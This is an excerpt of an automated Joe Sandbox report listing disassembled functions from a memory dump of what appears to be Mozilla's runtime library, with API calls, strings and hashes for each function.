Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2cdfb1ead994bd1fed14c2ddd2b557854a23ff3c887f10fbc81134bb95c135ad
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7933A171E0422ACFCB04CF98C8806EDBBF2FF89310F194669D959AB755E731A945CB90

Function 6C4FED10 Relevance: 33.9, APIs: 16, Strings: 3, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C501695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C501770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C501A3E

Strings

~qMl, xrefs: 6C4FED10
QzO/, xrefs: 6C4FED25
~qMl, xrefs: 6C4FED13

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: QzO/$~qMl$~qMl
API String ID: 3693777188-3728830650
Opcode ID: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction ID: d6d4ad9df4256fbd43cd50f5440639ace5ed5b55fa5434d5de5cd44db3d29673
Opcode Fuzzy Hash: 91d0e402af636af1688347fce1a27a29c16bddb1bd348218f0baa43af5b74011
Instruction Fuzzy Hash: 29B30871E05219CFDB14CFA8C890A9DB7B2BF89304F2582A9D459EB745D730AD86CF90

Function 6C4EFD00 Relevance: 32.9, APIs: 17, Strings: 4, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4
<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C4F0D67, 6C4F0D7B, 6C4F0DAC
QzO/, xrefs: 6C4EFEFF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 618468079-1728901617
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 30.5, APIs: 13, Strings: 4, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

nvinit.dll, xrefs: 6C514479
C>Ql, xrefs: 6C513E93
QzO/, xrefs: 6C513E66
nvd3d9wrap.dll, xrefs: 6C514466

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$QzO/$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2099975684
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 25.3, APIs: 13, Strings: 3, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
QzO/, xrefs: 6C4EFEFF
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 618468079-2353218112
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C525AC3
schema, xrefs: 6C52606D
name, xrefs: 6C525E79, 6C525E8F
expected a Time entry, xrefs: 6C525CB6
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
QzO/, xrefs: 6C525613
data, xrefs: 6C526131

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$QzO/$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-1699893845
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 22.9, APIs: 12, Strings: 3, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F
QzO/, xrefs: 6C4E781C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl$QzO/
API String ID: 759993129-1054778096
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C517E10 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5181E3, 6C518311
vUl, xrefs: 6C518207
name, xrefs: 6C517ECF, 6C518335
(pre-xul), xrefs: 6C517E88
QzO/, xrefs: 6C517E24
data, xrefs: 6C518280, 6C5183E1

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$QzO/$data$name$schema$vUl
API String ID: 3412268980-1579220402
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QzO/, xrefs: 6C535FFF
QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl$QzO/
API String ID: 3835517998-1182130062
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 20.7, APIs: 5, Strings: 7, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED
QzO/, xrefs: 6C4F5E9F
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$QzO/$ewSl
API String ID: 2613674957-2139847989
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

get , xrefs: 6C523205
set , xrefs: 6C5236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C4FD4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C4FD82C
<jemalloc>, xrefs: 6C4FD827
QzO/, xrefs: 6C4FC0F9, 6C4FD4E2

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$QzO/
API String ID: 2690322072-3555682480
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250
QzO/, xrefs: 6C534EAF

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: ($QzO/
API String ID: 4104871533-947231098
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C4F9E50 Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF
QzO/, xrefs: 6C4F9E60

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
